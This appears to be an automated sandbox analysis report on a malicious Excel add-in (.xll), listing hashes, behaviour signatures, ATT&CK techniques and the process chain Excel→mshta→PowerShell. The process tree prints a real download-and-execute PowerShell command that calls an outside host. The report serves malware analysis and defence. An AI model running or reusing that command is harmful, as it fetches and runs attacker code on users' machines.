731956e6cdf6af2975fba11d6df8d11eeb22eab328e49d0a30ecf789bac2ff1a

Analysis

max time kernel
148s
max time network
150s
platform
windows11-21h2_x64
resource
win11-20240508-en
resource tags

arch:x64arch:x86image:win11-20240508-enlocale:en-usos:windows11-21h2-x64system
submitted
22-05-2024 20:53

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General

Target

731956e6cdf6af2975fba11d6df8d11eeb22eab328e49d0a30ecf789bac2ff1a.xll
Size

12KB
MD5

5a75354b4cea88a97bbbc0dc8718010a
SHA1

307b838743b09f3b561c5ff9490e1e67cd56f3e2
SHA256

731956e6cdf6af2975fba11d6df8d11eeb22eab328e49d0a30ecf789bac2ff1a
SHA512

c77ed68a2f088221b0f32e02473d8d8736a6c3421b791378b159702b032912ed5f0b3a16d69ea38d85bfdca8f4d6a8ffda23f1de3cbc08ba3255bbf186b2c9ea
SSDEEP

192:BL29RBzDzeobchBj8JONfONZx2ru0rEPEjr7AhY:R29jnbcvYJOcDxiu0vr7CY

Score

10^/10

execution

Malware Config

Extracted

Language

xlm4.0

Source

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

mshta.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	4184	1396	mshta.exe	EXCEL.EXE

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

16 3900 powershell.exe
Loads dropped DLL 2 IoCs

Processes:

EXCEL.EXE

pid process

1396 EXCEL.EXE
1396 EXCEL.EXE
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

3900 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

flow	pid	process
16	3900	powershell.exe

pid	process
1396	EXCEL.EXE
1396	EXCEL.EXE

pid	process
3900	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

1396 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

3900 powershell.exe
3900 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 3900 powershell.exe
Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

EXCEL.EXE

pid process

1396 EXCEL.EXE
1396 EXCEL.EXE
Suspicious use of SetWindowsHookEx 10 IoCs

Processes:

EXCEL.EXE

pid process

1396 EXCEL.EXE
1396 EXCEL.EXE
1396 EXCEL.EXE
1396 EXCEL.EXE
1396 EXCEL.EXE
1396 EXCEL.EXE
1396 EXCEL.EXE
1396 EXCEL.EXE
1396 EXCEL.EXE
1396 EXCEL.EXE

pid	process
1396	EXCEL.EXE

pid	process
3900	powershell.exe
3900	powershell.exe

description	pid	process
Token: SeDebugPrivilege	3900	powershell.exe

pid	process
1396	EXCEL.EXE
1396	EXCEL.EXE

pid	process
1396	EXCEL.EXE
1396	EXCEL.EXE
1396	EXCEL.EXE
1396	EXCEL.EXE
1396	EXCEL.EXE
1396	EXCEL.EXE
1396	EXCEL.EXE
1396	EXCEL.EXE
1396	EXCEL.EXE
1396	EXCEL.EXE

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

EXCEL.EXEmshta.exe

description	pid	process	target process
PID 1396 wrote to memory of 4184	1396	EXCEL.EXE	mshta.exe
PID 1396 wrote to memory of 4184	1396	EXCEL.EXE	mshta.exe
PID 1396 wrote to memory of 4184	1396	EXCEL.EXE	mshta.exe
PID 4184 wrote to memory of 3900	4184	mshta.exe	powershell.exe
PID 4184 wrote to memory of 3900	4184	mshta.exe	powershell.exe
PID 4184 wrote to memory of 3900	4184	mshta.exe	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\731956e6cdf6af2975fba11d6df8d11eeb22eab328e49d0a30ecf789bac2ff1a.xll"
1⤵
- Loads dropped DLL
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1396
- C:\Windows\SysWOW64\mshta.exe
  "C:\Windows\SysWOW64\mshta.exe" "C:\users\public\example.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} mshta
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:4184
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'iapartmentlistings.com/tykhwuxk')
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3900

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\RR1DMZ2N\d[1].htm

Filesize
2KB

MD5
f754844cfb65838d1dd6b19dde5d835c

SHA1
b3eb677783adc88c8d048898449e04d49f416db6

SHA256
3644b387519f3509a1ce3d2201e2e1e8af36217138cc6f9e62d6e37c887097a6

SHA512
f42f89562b5c0be86dbd04683ee6c30711155acd1239e273da726c2bfedf5d0806c479b7107792c136bff6e97efb8d9145df0c176f499f86f1b7e304a2e3ccdf

Download Submit
C:\Users\Admin\AppData\Local\Temp\731956e6cdf6af2975fba11d6df8d11eeb22eab328e49d0a30ecf789bac2ff1a.xll

Filesize
12KB

MD5
5a75354b4cea88a97bbbc0dc8718010a

SHA1
307b838743b09f3b561c5ff9490e1e67cd56f3e2

SHA256
731956e6cdf6af2975fba11d6df8d11eeb22eab328e49d0a30ecf789bac2ff1a

SHA512
c77ed68a2f088221b0f32e02473d8d8736a6c3421b791378b159702b032912ed5f0b3a16d69ea38d85bfdca8f4d6a8ffda23f1de3cbc08ba3255bbf186b2c9ea

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xhl01b2j.xy1.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1396-17-0x00007FFA6A2E0000-0x00007FFA6A4E9000-memory.dmp

Filesize
2.0MB

Download
memory/1396-71-0x00007FFA6A2E0000-0x00007FFA6A4E9000-memory.dmp

Filesize
2.0MB

Download
memory/1396-2-0x00007FFA2A370000-0x00007FFA2A380000-memory.dmp

Filesize
64KB

Download
memory/1396-6-0x00007FFA6A2E0000-0x00007FFA6A4E9000-memory.dmp

Filesize
2.0MB

Download
memory/1396-7-0x00007FFA6A2E0000-0x00007FFA6A4E9000-memory.dmp

Filesize
2.0MB

Download
memory/1396-8-0x00007FFA6A2E0000-0x00007FFA6A4E9000-memory.dmp

Filesize
2.0MB

Download
memory/1396-15-0x00007FFA6A2E0000-0x00007FFA6A4E9000-memory.dmp

Filesize
2.0MB

Download
memory/1396-10-0x00007FFA6A2E0000-0x00007FFA6A4E9000-memory.dmp

Filesize
2.0MB

Download
memory/1396-11-0x00007FFA27D60000-0x00007FFA27D70000-memory.dmp

Filesize
64KB

Download
memory/1396-12-0x00007FFA6A2E0000-0x00007FFA6A4E9000-memory.dmp

Filesize
2.0MB

Download
memory/1396-13-0x00007FFA6A2E0000-0x00007FFA6A4E9000-memory.dmp

Filesize
2.0MB

Download
memory/1396-14-0x00007FFA6A2E0000-0x00007FFA6A4E9000-memory.dmp

Filesize
2.0MB

Download
memory/1396-16-0x00007FFA6A2E0000-0x00007FFA6A4E9000-memory.dmp

Filesize
2.0MB

Download
memory/1396-21-0x00007FFA6A2E0000-0x00007FFA6A4E9000-memory.dmp

Filesize
2.0MB

Download
memory/1396-20-0x00007FFA6A2E0000-0x00007FFA6A4E9000-memory.dmp

Filesize
2.0MB

Download
memory/1396-19-0x00007FFA27D60000-0x00007FFA27D70000-memory.dmp

Filesize
64KB

Download
memory/1396-18-0x00007FFA6A2E0000-0x00007FFA6A4E9000-memory.dmp

Filesize
2.0MB

Download
memory/1396-3-0x00007FFA2A370000-0x00007FFA2A380000-memory.dmp

Filesize
64KB

Download
memory/1396-9-0x00007FFA6A2E0000-0x00007FFA6A4E9000-memory.dmp

Filesize
2.0MB

Download
memory/1396-5-0x00007FFA2A370000-0x00007FFA2A380000-memory.dmp

Filesize
64KB

Download
memory/1396-0-0x00007FFA2A370000-0x00007FFA2A380000-memory.dmp

Filesize
64KB

Download
memory/1396-91-0x00007FFA6A2E0000-0x00007FFA6A4E9000-memory.dmp

Filesize
2.0MB

Download
memory/1396-89-0x00007FFA2A370000-0x00007FFA2A380000-memory.dmp

Filesize
64KB

Download
memory/1396-90-0x00007FFA2A370000-0x00007FFA2A380000-memory.dmp

Filesize
64KB

Download
memory/1396-88-0x00007FFA2A370000-0x00007FFA2A380000-memory.dmp

Filesize
64KB

Download
memory/1396-87-0x00007FFA2A370000-0x00007FFA2A380000-memory.dmp

Filesize
64KB

Download
memory/1396-1-0x00007FFA6A383000-0x00007FFA6A384000-memory.dmp

Filesize
4KB

Download
memory/1396-4-0x00007FFA2A370000-0x00007FFA2A380000-memory.dmp

Filesize
64KB

Download
memory/1396-70-0x00007FFA6A383000-0x00007FFA6A384000-memory.dmp

Filesize
4KB

Download
memory/1396-69-0x00007FFA6A2E0000-0x00007FFA6A4E9000-memory.dmp

Filesize
2.0MB

Download
memory/3900-61-0x0000000007980000-0x0000000007FFA000-memory.dmp

Filesize
6.5MB

Download
memory/3900-62-0x0000000006690000-0x00000000066AA000-memory.dmp

Filesize
104KB

Download
memory/3900-60-0x0000000006180000-0x00000000061CC000-memory.dmp

Filesize
304KB

Download
memory/3900-59-0x0000000006160000-0x000000000617E000-memory.dmp

Filesize
120KB

Download
memory/3900-58-0x0000000005CD0000-0x0000000006027000-memory.dmp

Filesize
3.3MB

Download
memory/3900-48-0x0000000005460000-0x00000000054C6000-memory.dmp

Filesize
408KB

Download
memory/3900-49-0x0000000005C60000-0x0000000005CC6000-memory.dmp

Filesize
408KB

Download
memory/3900-47-0x00000000052C0000-0x00000000052E2000-memory.dmp

Filesize
136KB

Download
memory/3900-46-0x0000000005580000-0x0000000005BAA000-memory.dmp

Filesize
6.2MB

Download
memory/3900-45-0x0000000002CA0000-0x0000000002CD6000-memory.dmp

Filesize
216KB

Download